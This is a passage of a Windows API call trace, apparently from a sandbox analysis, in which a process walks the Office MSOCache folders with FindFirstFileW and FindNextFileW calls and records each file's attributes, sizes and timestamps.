dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.xml", cAlternateFileName="INFOPA~1.XML")) returned 1 [0076.892] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.892] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.892] FindClose (in: hFindFile=0x491dc0 | out: hFindFile=0x491dc0) returned 1 [0076.893] GetProcessHeap () returned 0x470000 [0076.893] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0076.893] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1 [0076.894] GetProcessHeap () returned 0x470000 [0076.894] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0076.894] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491dc0 [0076.894] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.894] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.894] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0076.894] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x272b1e70, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x272b1e70, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x435c1d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2ab000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.msi", cAlternateFileName="")) returned 1 [0076.894] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0076.895] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0076.895] FindClose (in: hFindFile=0x491dc0 | out: hFindFile=0x491dc0) returned 1 [0076.895] GetProcessHeap () returned 0x470000 [0076.895] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0076.895] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0076.895] GetProcessHeap () returned 0x470000 [0076.895] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0076.895] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e98 [0076.898] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.898] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0076.898] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0076.899] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0076.899] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.899] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.899] FindClose (in: hFindFile=0x491e98 | out: hFindFile=0x491e98) returned 1 [0076.900] GetProcessHeap () returned 0x470000 [0076.900] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0076.902] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0076.902] GetProcessHeap () returned 0x470000 [0076.902] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0076.902] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e98 [0076.906] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.906] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0076.907] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="PROJEC~1.XML")) returned 1 [0076.907] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0076.907] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.907] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.907] FindClose (in: hFindFile=0x491e98 | out: hFindFile=0x491e98) returned 1 [0076.908] GetProcessHeap () returned 0x470000 [0076.908] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0076.908] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1 [0076.908] GetProcessHeap () returned 0x470000 [0076.908] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0076.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e98 [0076.911] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.911] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0076.911] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0076.911] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0076.912] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.912] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.912] FindClose (in: hFindFile=0x491e98 | out: hFindFile=0x491e98) returned 1 [0076.913] GetProcessHeap () returned 0x470000 [0076.913] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3210070 | out: hHeap=0x470000) returned 1 [0076.913] FindNextFileW (in: hFindFile=0x491d80, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0076.913] GetProcessHeap () returned 0x470000 [0076.913] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3210070 [0076.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491dc0 [0076.915] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.916] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2aeef48 | out: lpFindFileData=0x2aeef48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0076.916] GetProcessHeap () returned 0x470000 [0076.916] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32450a0 [0076.917] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e00 [0076.918] FindNextFileW (in: hFindFile=0x491e00, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.918] FindNextFileW (in: hFindFile=0x491e00, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0076.918] FindNextFileW (in: hFindFile=0x491e00, lpFindFileData=0x2aeecc0 | out: lpFindFileData=0x2aeecc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0076.918] FindClose (in: hFindFile=0x491e00 | out: hFindFile=0x491e00) returned 1 [0076.918] GetProcessHeap () returned 0x470000 [0076.918] HeapFree (in: hHeap=0x470000, 